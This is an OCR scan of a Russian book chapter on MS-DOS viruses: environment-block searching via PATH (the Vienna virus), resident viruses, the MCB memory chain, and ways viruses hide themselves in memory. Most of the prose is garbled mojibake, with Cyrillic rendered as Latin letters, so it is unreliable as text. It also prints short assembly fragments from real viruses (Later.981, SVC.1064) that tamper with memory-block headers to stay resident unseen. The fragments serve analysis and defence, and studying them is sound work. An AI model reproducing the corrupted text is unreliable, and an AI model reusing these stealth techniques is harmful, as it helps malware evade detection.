COMSPEC=C: \WINDOWS\COMMAND. COM ; "Paboyas”™ komus KOMAHAHOTO Mpoleccopa
PROMPT=$P$G ; Bup "nmoackasku” MS-DOS

PATH=C: \WINDOWS; C: \WINDOWS\COMMAND; C: \NC; C: \BC5\BIN; C: \TS\SYS

TEMP=C:\TMP ; KaTanor ona BpemeHHbx ¢ainos

NC=C: \NC ; KaTanor ans Norton Commander
BLASTER=A220 I5 D1 T4 ;. [lapameTpbl HACTPOMKKM 3BYKOBOW KapThl

Kaskmoit BHOBB 3aIrycKaeMoii TporpaMMe BbIJIEJISIeTCS B OMEPaTUBHOM
HaMATH CBOS KOIUs 9Toro 6j10ka undopmaiuu. B yactHocTH, KoMaH/1a
«SET» orobpaskaer comepKUMoe KOIUHU, IPUHAIIeKANEH KOMaHIHOMY
nporteccopy «COMMAND.COM». Ho Bce komu# /i1 BceX MPOTpaMm co-
JIepsKatT OJIHY U Ty ke nHpopMaIuio. B mamMsaTi 3Tu JaHHbIE PAcoJaraioT-
s IPUMEPHO TaK Ke, KaK 1 Ha dKpaHe, TOJIbKO Kask1asi CTPOUYKa 3aBepliia-
eTcs HyJIeBbIM OaliTOM, a B CAMOM KOHIIE 00JIaCTH ITaMsTH, rocJie 6aiitos 01
n 00, XpaHUTCS UM TOHM MTPOTPaMMBbI, KOTOPOU MTPUHA/IJIEKUT 9T KOTIHUSL:

00: 57 49 4E 44-49 52 3D 43-3A 5C 57 39-38 00 43 4F WINDIR=C:\W98 CO
10: 4D 53 50 45-43 3D 43 3A-5C 57 39 38-5C 43 4F 4D MSPEC=C:\W98\COM
20: 4D 41 4E 44-2E 43 4F 4D-00 50 52 4F-4D 50 54 3D MAND.COM PROMPT=
30: 24 50 24 47-00 50 41 54-48 3D 43 3A-5C 57 49 4E  $P$G PATH=C:\WIN
40: 44 AF 57 53-3B 43 3A 5C-57 49 4E 44-4F 57 53 5C DOWS; C:\WINDOWS\
50: 43 4F 4D 4D-41 4E 44 3B-43 3A 5C 42-43 35 5C 42 COMMAND; C:\BC5\B
60: 49 4E 3B 43-3A 5C 54 53-5C 53 59 53-00 54 45 4D IN;C:\TS\SYS TEM
70: 50 3D 43 3A-5C 54 4D 50-00 4E 43 3D-43 3A 5C 4E P=C:\TMP NC=C:\N
80: 43 00 42 4C-41 53 54 45-52 3D 41 32-32 30 20 49 C BLASTER=A220 I
90: 35 20 44 31-20 54 34 01-00 43 3A 5C-57 49 4E 44 5 D1 T4_ C:\WIND
AO: 4F 57 53 5C-43 4F 4D 4D-41 4E 44 5C-44 45 42 55 OWS\COMMAND\DEBU
BO: 47 2E 45 58-45 00 00 G.EXE
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CermeHTHBIN ajzipec hparMeHTa maMsTH, cojlep:Kaliero aty nupopma-
U0, ABTOMATHUYECKHU «/IA€TCS B HACJEICTBO» KAXKOH BHOBD 3aITyIIEHHON
nporpamme, pasmeriasch 8 PSP 1o emernennio 2Ch.

Taxm 06paszom, Tobast iporpamMma (Tak ske Kak U BUPYC, 3apa3uBIIHii
ATY TPOTPAMMY ), MOKET 0OPATUTHCS K CBOEH KOMUK GJI0KA OKPYsKEHUs
U BBIYJICHUTD U3 HEe CTPOKY, ONMUCHIBAIONLYI0O MHOXKECTBO <«IIpeotpe/ie-
JIEHHBIX» KaTaJoroB. B Hallem mpuMmepe aTa CTPOKA, HAUMHAIOIIASICS
koueBbiM cioBoM «PATH» (B mepeBojie ¢ aHTIMHCKOTO — <«TpPOIay ),
onucobiBaeT ATh Kataynoros: «PATH=CAWINDOWS; CAWINDOWS\
COMMAND;CANC;CA\BC5\BIN;CA\TS\SYS». Koneuno, Ha ancke
pealbHO MOTYT CYIIECTBOBATh COTHHM KAaTAJOTOB, COAEPIKANIUX THICSUN
(aiinos. Ho BoT atn HemHorMe, onucannbie B cTpoke «PATH», 3aBesiomo
coziepkat (haiibl MCHOJHAEMbIX TPOrPAMM, U TI0JIb30BATENb rapaHTHPO-
BaHHO OY/IET 3TH MPOTPAMMBI 4acTo 3amyckarh. COOCTBEHHO TOBOPS, 110-
JTOOHOI HH(bOPMAIK BUPYCY BIIOJHE JOCTATOYHO.

[TepBBIM BUPYCOM, MCTIOJB30BABITMM METO]] TIOUCKA TI0 «TPOTes, GbLT
3HAMEHUTHIH Bupyc Vienna.648, akTWBHO paclpoCTPAHSIBIIUICS He
TOJIBKO B <’KIBOM» BH/IE, HO U B BUJIE KCXO[HOTO TEKCTA, OIyOJIMKOBAHHO-
ro B koH1te 80-x rozioB B kHUTe Panbda bioprepa [36]. Anroputm moncka
BUPYCOM KePTB IIPOCT U Jla’ke B YeM-TO KPACUB!

1) B 6/10Ke OKPY’KEHUSI MIIETCs CTPOKa, HaunHaomasaca ¢ «PATH»;

2) cTpoKa CKaHWPYeTCs, IPU ATOM BBIYJIEHAIOTCS (DparMeHThI, pasje-

JIEHHBIE CUMBOJIOM <;» (TOYKa C 3aIITOH);

3) kaxablil Takoil parMeHT MpeacTaBiasgeT co0Oil MMs HEKOero Ka-
TAJIOTa, K KOTOPOMY JIOCTATOYHO J00ABUTH KYCOYEK MACKHU TIOMCKA
Busa «<\*.COM» u uckarb I1eju /s 3aPasKeHusT TPAAUIIMOHHbBIM
criocobom — 1ipu oMoty pyrkiuit 4Eh/4Fh.

WHTepecHo, U4To «3apaskaioliast CiocOOHOCTb» BUPYCOB, UCIOIB3YIO-
IUX 3TOT METOJl TIOUCKA, C MOSIBJIEHNEM HOBBIX BEPCHIl OllepallMOHHBIX
cucteM Jaxe Boszpocsa. Torma, 15 JeT Hasal, 1ocTaTouHo ObLIO BOOOIIE
He yka3biBath B ¢aitie AUTOEXEC.BAT cTpoky onucanust «Tpombi» —
u Bupyc He Hames 661 kiaodeBoro cioBa «PATH». Takske BecbMma feii-
CTBEHHBIM OB TPIOK, KOT/Ia B «TPOTIE» OMUCHIBAJICS IyTh BCETO K OJIHOMY
KaTaJjory, a aTot Karajor He cojaep:kai COM- u EXE-daiiios, HO TOJIb-
k0o BAT-«3amyckankn» it HUX. YBBI, Terepb OTepaliioHHbIe CUCTeMbI
Windows 95/98/ME npunyaurensto siucbiBaior B8 AUTOEXEC.BAT
CTPOKY, YKa3bIBaIOLIYIO Ha CBOM cUcTeMHble KaTasord, a Windows ME
[I0CJIe BCETO ellle U 3allpeliaeT MoJib30BaTesI0 3TOT (aitn Moauduimpo-
BaTh. XOPOIIO, UTO « BeHCKUIT» aJTOPUTM JABHO BBITIET U3 MO/IBL.
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3.6. Pe3naeHTHble BUPYChbI

— A s npumaiocwy, kax nayx, 6yody 3a 6cem smum
HAbI00amy U pezucmpuposams.

A.u B. Crpyrankue. «Masbiiis

Pesugentunlii BUpyc cpasdy 1ocje 3allycKa 3apa’keHHON UM IIPOrPaMMbI
00BIYHO He TPeANPUHIMAET HIKAKUX JeCTBIIL, HAlIPAaBJIEHHbBIX HA TOUCK
U 3apakenue «xeprs». Ilepes HUM B 9TO BpeMs CTOUT Jpyras 3ajjaua — 3a-
XBaTUTh W MCIOJb30BATh YaCTh CUCTEMHBIX PECYPCOB KOMITbIOTEpa Tak,
9TOGBT TIOCTTE 3aBEPIIEHUS 3aPAKEHHON TIPOTPAMMBI CAMOMY <OCTAThCST B
JKUBBIX». B IpuHIINIIE, TaKOe TTOBe/IeHNe MAJIO OTJINYAEeTCs OT TTOBEIeHUs
PaccMOTPEHHBIX paHee 3arPy30YHBIX BUPYCOB, TOJBKO TeTlepb BUPYC CTap-
TyeT He U3 JUCKOBOI'O CEKTOPA, HO U3 IIPOIPaMMbl-<«HOCUTEJLS», U 3aparka-
€T He 3arpy304YHbIe CEKTOPBI BUHYECTepa U AUCKET, HO IpyTHe TPOTPAMMBI.
Pasymeetcst, cocoObl «OTKYChIBAHUST> MAMSTH M HOMEpPa IepexBaThiBae-
MBIX TIpepbiBanuil apyrue. OQHaKO uaest padoThl 0OCTAETCST TIPEKHEIL:

O MOCTOSTHHO OCTaBATHCS B OMEPATUBHON MaMSITH;

O oTcIexMBaTh aKTUBHOCTH TPUTOAHBIX IS 3apa’keHUsT 00bEKTOB
(06BIYHO 3aITyCK U 3aBepIIeHNe MPOTPAMM, a TaKsKe OTMEPAINN C
MPOrpaMMHBIMU (haiiyiamMu);

QO 3apaxaTh UX.

3.6.1. Cxema pacnpenenenus namatm B8 MS-DOS

Paspaborunku MS-DOS sapesepsuposanu 640 K6 agpecHoro npoctpaH-
CTBA JIJIsI WCIIOJTH30BAHUS OINEPAIMOHHON CHCTEMOH U TIPUKJIAAHBIMU
nporpaMMaMu. IlepBbiii KumobaiT 9Toil 006acTh 3aHAT TabaUIel Bek-
TOPOB TIpepbiBaHuil, 3ateM (B obmactu ¢ cermenToM 40h) cienyror cpas-
HUTEJIBHO HeGOJBIINE YIACTKY, MPETHASHAYCHHBIE [T UCIOTb30BAHST
cranzaptabeiMu iporierypamu BIOS (kotopsle camMmu pazmeniaroTcst co-
BCEM B JIPYroM MecTe maMsati). Jlanee (0OBIYHO HAYMHAS C CETMEHTHOTO
azpeca 70h) pacrosaraercst Sapo onepanuoHHoil cucrembl. Eie Bbimie
«CamATCsT» 3arpyskaeMble Ha ATare KOH(QUTYPUPOBAHWS CUCTEMBI JIpaii-
BEPBHI YCTPONCTB U Pe3WAEHTHBbIE TTPOrpaMMbl. V1 HaKOHeIl, oCcTaBIINIiCS
(parMeHT pasMepoM B HECKOJIBKO COTEH KUIOOANTOB, OTpaHUYEHHBI
ceepxy azapecom 09000h:0FFFFh, o6bruno cBOGOAEH M IpeaHAsHAYeH
1T TPUKJIQIHBIX TIporpaMM. VIMEHHO OT KOHI[a 9Toro (hparMeHTa maMsTh
«OTKychIBaTM» cebe pabodee MPOCTPAHCTBO 3arpy30uHbie BUpychl. Ha-
uyrHag ¢ agpeca A000h:0 BiioTh 210 KoHIA 1epBoro Merabaiita (To ecTbh
no aapeca 0F000h:0FFFFh) pasmemniatorcst BUAEONaMATh 1 PallOHBI, 3a-
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HsaThie KogoM tporeayp BIOS, mpuuem J0BOJIBHO 4acTO MEXKIY HUMU
MOXKHO OOHApY/KUTh HUKEM U HUYEM HE HCIOJb3yeMmble (hparMeHTbI
(UMB - upper memory blocks). Cnenuanbtbie apaiisepbl (MeHemxKe-
PBI AMSITH) MO3BOJISIIOT MPUKJIAJHBIM IPOTPAMMAM UCIIOJIBb30BATh 3TU
(dbparmenTsr, a Takxke obmactu «sepxueii» mamsatu (HMA — high memory
area), pasMellleHHbIE MKy KOHIIOM IEepBOrO Merabaita u aapecoM
0FFFFh:0FFFFh. Hakonel, Bce ocTanbHble PETHOHBL € aipecaMu, 00JIb-
mmmu yem OFFFFh:0FFFFh, — a10 «pacmmpennas» (extended) mamsars,
MPaKTUYEeCKN HEeJOCTYIHAs Jiid ucnoyb3oBanugd B MS-DOS. Tunuunas
CTPYKTYPa MaMsITU, IOCTYITHOHN IIPOrPaMMaM B PEAIbHOM PEXKIME, BBITJIsI-
JIUT IIPUMEPHO Kak Ha puc. 3.6.

FOOO:FFFF
HMA
F000:0000
Bupeonamarts, BIOS
n pparmeHTel UMB
A000:0000
| MpuknagHble nporpammbl |
PeavngeHTHbie
Opaneepa
Anpo MS-DOS
0070:0000
MepemeHHble BIOS
0040:0000
ObnacTb BEKTOPOB NpepbIBaHUNA
0000:0000
Puc. 3.6 « TunuyHoe pacnpeneneHne namaTn

B MS-DOS

Hecmorpss va To yto MS-DOS cumnraercst omHo3a/1auHol omieparu-
OHHOIl CHCTEMOHi, B OTIEPATUBHOI MaMITH OJHOBPEMEHHO MOTYT PacIio-
JIaraThCsl KOJBI HECKOJBbKUX PasiuyHbIX mporpamm’. UTobbr pacmpese-

! Okcnepumenrtabhast Bepeust MS-DOS 4.0 mojiepkuBaia MHOT03a/[auHOCTb,
Ho Jtaboparopuii Microsoft Tak 1 He IIOKMHYJIa, BMECTO HEe Ha PhIHOK IOCTYIIH-
Jla To-TpexkHeMy ofHo3anaunas sepeust 4.01.
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JINTh MEXKy HUMHU ajipecHoe rpoctpanctBo, B MS-DOS ucnosib3yercs
MexaHu3M 0.10k08 namsmu. Kaxnomy o6bekTy BbiIesteTcst psaji 6JI0KOB
(«apen») oripeziesieHHON jHbl. Hampumep, 3amyckaeMoi mporpamme
OIlepaIMOHHAST CUCTEMA 110 YMOJYAHUIO BBIJIEJSIET JiBa OJIOKA: TI€PBbIT —
MaJIeHbKUA, Ty/la Oy/IeT CKOMUPOBAHA KOMUSI CHCTEMHOTO OKPYKEHUS;
BTOPOH — 0O0JIbIIOM, TaM Oy/ieT pa3Meliarbcs cama IporpamMma (cHava-
jga — 256 Gaiitos PSP, 1oToM nporpaMMHbBIN KOJ, JaHHbIE, CTEK U T. IL.).
B 1portecce paboThbl mporpaMMa MOKET 3alpOCUTh cebe JOMOTHUTENb-
Hble GJIOKU MAMSATH, U OHU, TI0 MepPe BO3MOXKHOCTH, OY/IyT €il BbIJIETIEHBDL.
Pasymeetcst, mporpaMma co3ziaet, BUJ0OM3MEeHsIeT U YHUUTOKAET OJI0KH He
CaMOCTOSATEIHHO, HO 0OPAIasiCh K CEPBUCHBIM (DYHKIMSIM OMEePAIlIOHHOIT
cucremsl: 48h — cosznats 6710k, 49h — ynamure 610K, 4Ah — usmenuTs pas-
Mmep Omoka. Hencrosbdyembie (hparMeHTbI aMSITH Takke OhOpPMJIEHBI
B BUJIe MHOKeCTBa OJIOKOB.

Kasxapiii 610k npeasapsiercst crenpduueckum 16-6aiiTHBIM 3aro10B-
koM (MCB — Master Control Block). 3arosioBok siBisiercst cBoero poja
«MACHOPTOM» OJIOKA MAMSITU, B HEM OIUCHIBAIOTCSI OCHOBHbIE TTAPAMETPBI
U XapaKTePUCTUKHU OJI0Ka:

Type db ? . Tun 6noka: 'Z' - nocnepHwit, ‘M’ - HeT
Owner dw ? ; CermeHTHbn agpec PSP nporpammbi-Bnagensua
Size dw ? ; Pasmep Onoka B 16-06aiTHbX naparpadax

db 3 dup (?) 07
Name db 8 dup (?) ;. WMa nporpammbli-Bnagensla

Bce 610Kk — 1 3aHATBIE, M CBOOOAHBIE — PACIHOJIATAIOTCS BCTHIK JAPYT
K ZpyTY, 00pasysi HEMPEPBIBHYIO EMOYKY. JTa MEernovKa J0JKHA COIep-
JKaTh OJIOKH ¢ MpU3HaKOM «M» ¥ 3aBepIIaThCst eIMHCTBEHHBIM OGJOKOM
¢ npusHakoM «Z» (1 caoBa Mapk 30bikoBcku!). Takast 1ermouka MOKeT
6biTh He oznHa. Hampumep, eciu paspelieHo uchosb3oBanre UMB, To
MS-DOS crpour iBe HenlpepbIBHbBIE 1IEMOYKH. Pa3pbIB 1IeMOYKH (TO €CTh
motepst 6JIOKa ¢ MPU3HAKOM «Z» ) BOCIIPUHUMAETCSI OTIEPAI[HOHHOI CHCTe-
MO Kak aBapuiiHasi CUTyaIus.

Pasmep orepaTUBHON TAMSITH, PEAIbHO 3aHUMAeMOI OJIOKOM, COCTaB-
ssier Size*16+1 GaiiToB. 3Hasg cerMEHTHBIN afpec 3aroJoBKa OJI0Ka 1 ero
JUIMHY, JIETKO BBIYUCJIUTH MECTOIOJIOKEHNE caeaytoniero Osoka. s
TOro 4TOOBI IIPOITH BCIO 1ENOYKY OJIOKOB, HEOOXOAUMO 3HATH CErMEHT-
HBIIT ajipec 3aroJI0BKa caMoro 1epBoro 6J10ka. Ero MOKHO [OJy4UTh [IPK
nomoru dyukimu 52h npepoiBarust 21h. Ita ouenpb nosresHast GyHKIUS
Bosspaiaer B ES:BX cermentT u cMelenue tabIuIbl, coeprKaiiell yka-
3aresin Ha BHyTpucucreMHbie 00bekThl MS-DOS. B wactHOCTH, 110 CMe-
nrennio BX-2 B o100l Tab/uile MOKHO HAiiTU CErMEHTHBIN afpec nepBo-
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ro MCB «ocHOBHOII» 1lerouky 6JIOKOB, pa3MelieHHoii B iepBbix 640 K6.
B roii ;e Tabuite o emenenuio BX+12h xpanures nmomblii agpec mepso-
ro daitsoBoro 6ydepa, B KOHIIE 3ar0JI0BKa KOTOPOTO (110 OTHOCUTEIbHOMY
ememnenuio +1Fh) paconaraercs cerment nepsoro MCB «zommoHuTe I b-
HOIT» 11eM0YKH, pasMmelieHHoil B obmactsax UMB. Eciu ucnosnbp3oBaHue
UMB 3zaripelrieHo U «JIOMOJHUTEIbHAS» 1[eTI0YKa OTCYTCTBYET, TO B yKa-
3aHHOI nmosunuu xpanurcsa snadenue OFFFFh.

CylilecTByeT HEMaJo CEPBUCHBIX YTUJINT, MO3BOJISIIONIUX MOAPOOHO
U3YUYHUTH CTPOEHHUE TEMIOUEK OJIOKOB MAMSITH: KX MECTOIOJIOKEHIE, Pa3Mep,
TPUHA/IIIEKHOCTD TOU I MHOM IporpamMe U ripodee. Harpumep, 9170 MOK-
HO c/leJIaTh IIPU TIOMONIU CTaHIAPTHOU cucTeMHOU mporpaMmMbl <« MEM»,
BxoJuIeil B 6a30Bblii KoMILIeKT yriautT MS-DOS: «<MEM /D /P».

Kpome Toro, uctiosb3ys BbINIENIPUBEIEHHbIE TeXHUYECKUE CBEEHUS,
aIropuT™ 06x0/a Leno4YeK MOKHO (1 HyKHO!) yMEeTh PeaJn30BbIBaTh Ca-
MocTtoaTenabHo. [lo kpaiineil Mepe, MOKMCK pe3uIEHTHOTO BUPYCa B ITaMATH
6e3 HTOr0 HEBO3MOJKEH.

Bot kak BbITIAIUT TUIIMYHOE paciipefieieHre naMsaTH B KOH(MUTypa-
1 ¢ UMB:

SEGM T OW_SG ~ SIZE  OW_NAME

0219 M 8 6464 SD ; Hawano "OCHOBHOM™ uenovku
03AE M 8 64 SC

03B3 M 3BA 80 (env)

03B9 M 3BA 94144 MEMVIEW ; A aT0 cama yTuauTta

1AB6 2 0 545920 (free) ;

9FFF = === —mmmem - ; KoHel "OCHOBHOW™ Leno4ku
9FFF M 8 185856 SC ; "LlononHuTenbHaA" uenoyka
D60 M 8 8240 SD

CF64 M CF65 5712 COMMAND

DOCA M 0 64 (free)

DOCF M CF65 1424 (env)

D129 M D130 80 (env)

D12F M D130 18416 GMOUSE

D5SAF 2 0 107776 (free)

FOOO = —=-= —=mmom mmmm - ; KoHel "O0OnNofHUTENBHON™ Lenoyku

A BoT Tak — B 60Jiee TPOCTOM CITyUae:
SEGM T OW.SG  STZE  OW_NAME

0219 M 8 20032 SD . Hayano eanHCTBEHHOM LEeno4kn
06FE M 139C 32 . NpuHagnexnt COMMAND. COM
0701 M 1616 80 (env) ;

0707 M 1A96 80 (env) ;

070D M 0 16 (free) ; Kycodek Hencrnonbayemoi namsaTy
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070F M 8 51376 SC ;

139B M 139C 8608 COMMAND

1586 M 0 64 (free) ; Kycodek Heucnonb3yemon namaTu
15BB M 139C 1424 (env) ;

1615 M 1616 18416 GMOUSE ;

1A95 M 1A96 94144 MEMVIEW

3192 7 0 452304 (free) ; Heucnonb3dyemas namsaTb

A0DQ - ---- —--mem oo ; KoHel eanHCTBEHHO Lenoyku

O6paTuTe BHUMaHKE HA PSAJL BAKHBIX 0OCTOATEHCTB:

O npakruyecku Bee 610ku, npuHaiexane sapy MS-DOS, umeror
B nnosie «Owner» 3HaueHue §;

O MS-DOS nomeuaer 6JOKH, IPUHAIEKAIIME SAPY, TEKCTOBBIMU
merkamu ‘SC’ (system code) u ‘SD’ (system data);

O B cnucke UMerTCs «Oe3bIMSTHHBIE> OJIOKH, HO UX TPUHA/IEKHOCTD
JIETKO OMPEIETUTD TT0 3HAYEHNIO CETMEHTA BJIAJIEJIbIa;

O B «37I0POBOII» M «YHCTOI» CHCTEME HEUCIIOIb3yeMast TaMsITh Opra-
HU30BaHa, KaK MPaBUJIO, B BU/E OOJIBIINX HENPEPBIBHLIX OJI0KOB,
3aMBIKAIONUX [IEMTOYKH, a TaKXKe B BHU/Ie HEMHOTOUNCJIEHHBIX KPO-
XOTHBIX «KYCOYKOB» T/le-HUOY/Ib B CEPE/IIHE [[EITOYKH;

QO B «3JI0pPOBOII» M «YHCTON» CHCTEME OCHOBHAsSI M JIOTIOJIHUTEIbHAST
HEMOYKH PA3MEIAIOTCS TIOCIe[0BATEIbHO, €3 Pa3PbIBOB.

3.6.2. CnocoObl BblgeneHns BUpycom ¢pparmeHTta
namsaTun

BermoMHIM: 3arpy304HbIe BUPYCHI, [IJIsI TOTO YTOOBI CKPBITH OT CHCTEMBI
(bparmMeHT OTIepaTUBHOI TTAMSATH, YMEHBINATN 3HAYCHIUE CJI0OBA TAMSTHU 110
aznpecy 0:413h. Ho aBropam ¢aiiioBoil «3apasbl» IPUXOAUTCS UCIOIb30-
BaTh COBCEM JIPYTHE METOJIBI BBIJICJICHUS TTAMSITH 110/l BUPYCHBIH KOI.
Croco6 1. Npest atoro crocoba OCHOBaHA HA TOM, UTO OTI€PAI[IOHHAS
cucTeMa TIPU 3aITyCcKe TTPOTPAMMBI BBIZIEIAET eif parMeHT maMsITH «C 3a-
nacom»: COM-porpaMme Z0CTaeTcst caMblii GOJIBINON HEUCIIOIb3YEeMbIi
610k mamaTy neskoM, a EXE-niporpamme — 6o Takike Bech aTOT OJI0K
(ecm B mosie «MinMem» 3arosioska EXE-daiina Haxonuaoch 3HaucHME
0, a B mote «MaxMem» — 3nauenne OFFFFh), 160 kpymHbIil «<KycoK»
3TOTO GJIOKA, pasMep KOTOPOro B 16-6aliTHUKAX Tak/Ke OMPEIENSIeTCsI 3HA-
yeHussMu noJieit «MinMem» n «MaxMem». Bupycsl ibITaioTcs He IpocTo
YMEHBIIUTH Pa3Mep BbIIEIEHHOTO TIPOrpaMMe GJI0Ka, HATIPSIMY IO U3MEHSIST
sravenus nojeil B MCB u PSP, Ho 1 «ybeuTh» onepalioHHyIo cCrcTe-
MY, 4TO «TaK OHO U ObLI0». Toraa mocje HOpMaIbHOTO 3aBEPIIEHUST TTPO-
IPaMMBI B IIETIOUKY OyIeT BO3BpalileH OJI0OK YMEHBIIIEHHOH JIJIMHBI, & BCJIE]]
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3a HUM 06pasyeTcs «bipKa». Pasymeercst, 10T nipreM paboTaer TOJAbKO
B TOM CJTyJae, eCJIH BBIIEJIEHHbIH TIpoTpaMMe OJT0K GBI MOCTEHUM B Tie-
nouke u cosiep:xant B MCB npusHnak «Z». B TpoTUBHOM ciryyae 1iernoyka
OKa’KeTCs PAa30PBAHHON CO BCEMU BBITEKAIOIIMMU OTCIO/IA HETIPUSTHBIMU
nocnencteusiMu. Bot dhparmenT kona Bupyca Later.981, peasusyioniero
3Ty UJIEI0:

mov bp, ds ; B DS HaxomuTcs cermeHT PSP

mov si,0002

mov ax, ds ; 16-6aiTHHIM 3aronoBok 6noka namaTu

dec ax ; pacrnonaraeTcs HenocpeacTeeHHo nepen PSP

mov ds, ax

sub [s1][00001], 7A . YMeHbWWTL 3HayeHue nonda  Size B 3aronoske
mov ds, bp ; CHoBa Ha PSP

sub [si],7A . YMEHbWMTbL pasmep NporpammHoi namaTn B PSP:[2]

[locTaTouHo n3MeHUTh 3HAUEHU S /IBYX 11oJieit: 1) rmoJist Size B 3aroioBKe
6110Ka mamaTy; 2) 1mous co eMenenueM +2 B PSP. B pesyibrare mporpam-
Ma IIOCJIe CBOETO 3aBEPINEHUsI «BEPHET» MEHBINE MaMsITH, YeM eil ObLIo
BBLIIETIEHO CHCTeMOT TIput cTapte. Cpasy 3a moceTHIM OITOKOM B T[ETTOYKe
obpasyetcst «HeyuTeHHblii» pparmert O3V:

SEGM T OW_SG SIZE OW_NAME

0219 M 8 20032 SD

06FE M 39C 32

0701 M 1616 80 (env)

0707 M 0 112 (free)

070F M 8 51376 SC

139B M 139C 8608 COMMAND

1586 M 0 64 (free)

15BB M 139C 1424 (env)

1615 M 1616 94144 MEMVIEW

2D12 7 0 468784 (free) ; TlocneaHuit 6nok B UenoYyke

=]

Sl

@

»
|

_________________ ; “leipka” mexpy 9F86h:0 u 0A00ONh: 0

Croco6 2. IToT c11ocod Takke ocHOBaH Ha MaHuirysnusax ¢ MCB, no
OH HECKOJIBKO 00JIee KOPPEKTEH € TOUKH 3PEHMsI OIIEPALMOHHO CUCTEMBL.
Pasmep 601b110r0 6J10Ka HAMATH, BBIIEJECHHOTO 3apaKeHHO IporpaMMme,
YMEHbIIAeTCsT IPU HOMOIIM cTaHAapTHOU (yHKuu 4Ah, motom rakxke
IIpU [IOMOIIY cTaHzapTHOH dyHkimuy 48h Ha 9TOM MecTe cosgaercs HO-
BbIii 6s10K. B 1osie «Owner» 3arojioBKka 9TOro BHOBb CO3JaHHOIO OJIOKa
WCKYCCTBEHHO TIOMeTaeTcs 3HaueHue 8, B pe3ysbrare 4yero cucreMa Ha-
YMHAET CYUTATh ATOT OJIOK «CIIYsKEOHBIM» M OCTABJISIET €0 B ITAMSITH I0C-
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Jie OOBIYHOTO 3aBEPIIEHUST IPOTPAMMBL. JTOT CIIOCOO MJLTIOCTPUPYETCS
(parmenTom koza Bupyca SVC.1064:

mov ax, 4900 ; OcBoboanTb Tekyuwuin 6nok namaTu.
int 21 ;
mov ax, 4800 ; TlonbiTaTbcs 3axBaTUTb GNOK 3aBELOMO CBEPXOONbWOI

mov bx, FFFF AVHB, npy 9ToM B BX OyaeT BO3BpaweH MakcumanbHO

int 21 ; BO3MOXHBI AN 3axBaTa pasmep

sub bx, 44 ; NMoaroToBMTbCS K 3axBaTy Of0ka C "PE3epBOM™ [ASIMHbI.
mov ax, 4A00 . 3axBaTWUTb ON0K namaTu anuHoi BX 16-6aiTHUKOB

int 21 . (OH OymeT Tekyuwum)

mov bx, 0043 ; NoAroToBMTLCS K 3axBaTy ManeHbkoro 6roka

stc ; B "pesepBHON” namaTu
sbb es:[000027, bx
mov es, Cx

mov ax, 4A00 3axBaTuTb ManeHbkuit 6nok. OH pacnofnoxuTcs B

int 21 ;. KOHUe uenoykn u 6yaet umeTsb Tpebyemyn AAMHY.
mov ax, es . PaccuntaTh MeCTononoxeHue saronoska

dec ax ; ONS BHOBb 3axBA4YeHHOr0 ManeHbkoro 6noka.

mov ds, ax ;

mov [000017,0008 . BnucaTb B none "cermeHT Bnagensua’ kon 8

IIocie 3aBeplieHu:A Baan{eHHOfI IIporpaMMbI B IEIIOYKE TTOABUTCA
GJIOK IIaMATU C KOJI0M 8. Cucrema 6leeT CUUTATDh €TI0 «CBOMM» 1 HE «TPO-
HET»:

SEGM T OW_SG SIZE OW_NAME

0219 M 8 20032 SD

06FE M 139C 32

0701 M 1616 80 (env)
0707 M 0 112 (free)
070F M 8 51376 SC

139B M 139C 8608 COMMAND
1586 M 0 64 (free)
15BB M 139C 1424 (env)
1615 M 1616 94144 MEMVIEW
2D12 M 0 469648 (free)
9FBC Z 8 1072 ; "MceBpocnyxebHolit™ 6nok

>

o

o

o
I

Croco6 3. Eitte ouH ¢11oco0 IIpocT ¥ HaJlesKeH ¢ TOYKHU 3PEHUS. UCIIOJIb-
30BaHHBIX B HEM MEXaHU3MOB, HO HECKOJIbKO XJIOTIOTEH B peajii3alliu.
Bupyc 1o MunuMyma yMeHbIlIaeT BbIZICJICHHBIN 3apaskeHHOU ITporpaMme
610K namaTy 1npu oMoy GyHkiuu 4Ah, konupyer B aror 610K CBOI
KOJI U TIEPEIAET Ha HETO YIIPAaBJIEHHE, a BBICBOOOIMBIIYIOCS TTAMSITD UC-
IOJIB3YET JIJISI TOBTOPHOTO 3aITyCKa 3aPasKeHHON MPOTPAMMBI IIPU ITOMOIIIN
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crangaptHoit pyukiuu 4Bh. Tlocse Toro kak mporpaMma 3aKOHYHUT CBOIO
paboTy, yipaBJjieHrue BHOBD MOJIYYUT BUPYC U TOT/IA YK€ 3aBEPIIUTCS [IPU
nomonty Gynkumii 31h npepsiBanus 21h i npu moMouy npepbiBaHust
27h. B pesyasrare Bupyc (Hanpumep, Armageddon.1079 wiu Nigeb.890)
OCTaHETCs B TIAMSTH KaK caMas 00bIYHAS Pe3UIeHTHAs TIPOTPaMMa.

SEGM T OW_SG SIZE OW_NAME

0219 M 8 20032 SD

06FE M 139C 32

0701 M 1616 80 (env)
0707 M 1668 80 (env)
070D M 0 16 (free)
070F M 8 51376 SC

139B M 139C 8608 COMMAND
1586 M 0 64 (free)
15BB M 139C 1424 (env)
1615 M 1616 1344 VIRUS ; "HopManbHbIii™ 610K C BUPYCOM
166A M 1668 94144 MEMVIEW
2067 2 0 469376 (free)

>

o

o

o
I

CyiiecTByer «JIeHTSHCKast» MOAU(DUKAIMS 3TOr0 Ccrocoda: 1mmoce
[IEPBOTO 3aITyCKA 3aPASKEHHOI TPOrPAMMBbl BUPYC IIPOCTO YCTAHABIUBAET
B maMsaTH 06pabOTYNKI CBOMX TIPEPBIBAHUN U CPa3y JKe PE3UIEHTHO 3a-
BEPIIAETCS, UHOT/[A CHUCXOUTEIHHO M3BECTUB M10JIb30BATEISI O TOM, UTO
«Bad command or file name». HauBublii 110J1b30BaTeIb CYUTALT, YTO CAM
JOTYCTUJT KAKYI0-TO OIIUOKY, U TIBITAETCS BHOBb 3aIlyCTUTH IPOTPAMMY.
Ha aToT pas 3ammyck mpoxXouT HOPMAJIbHO, U OJIb30BATEb OBICTPO 3a0bI-
BaeT o cayvaiinoii (saxo0sl!) Heygaue epBoro sairycka. Bor npumep roro,
KaK BUPYCOIIMCATENN CBOU HEJIOCTATKU B MCKYCCTBE IIPOTPAMMIPOBAHUST
VIAUHO 3aMEIIAI0T ICUXOJOTMIECKIMU TPIOKAMIL.

Crocob 4. Eume oaun crocod HUCIOJIb3yeT TO 00CTOSTENbCTBO, 4TO
BTOpasi IOJIOBMHA TabJMIbl BEKTOPOB IpepbiBaHuii (TO ecTb 00JacTh
c agpecamu o1 0:512 10 0:1024) coBceM He UCMONB3YETCST ONMEPAITUOHHON
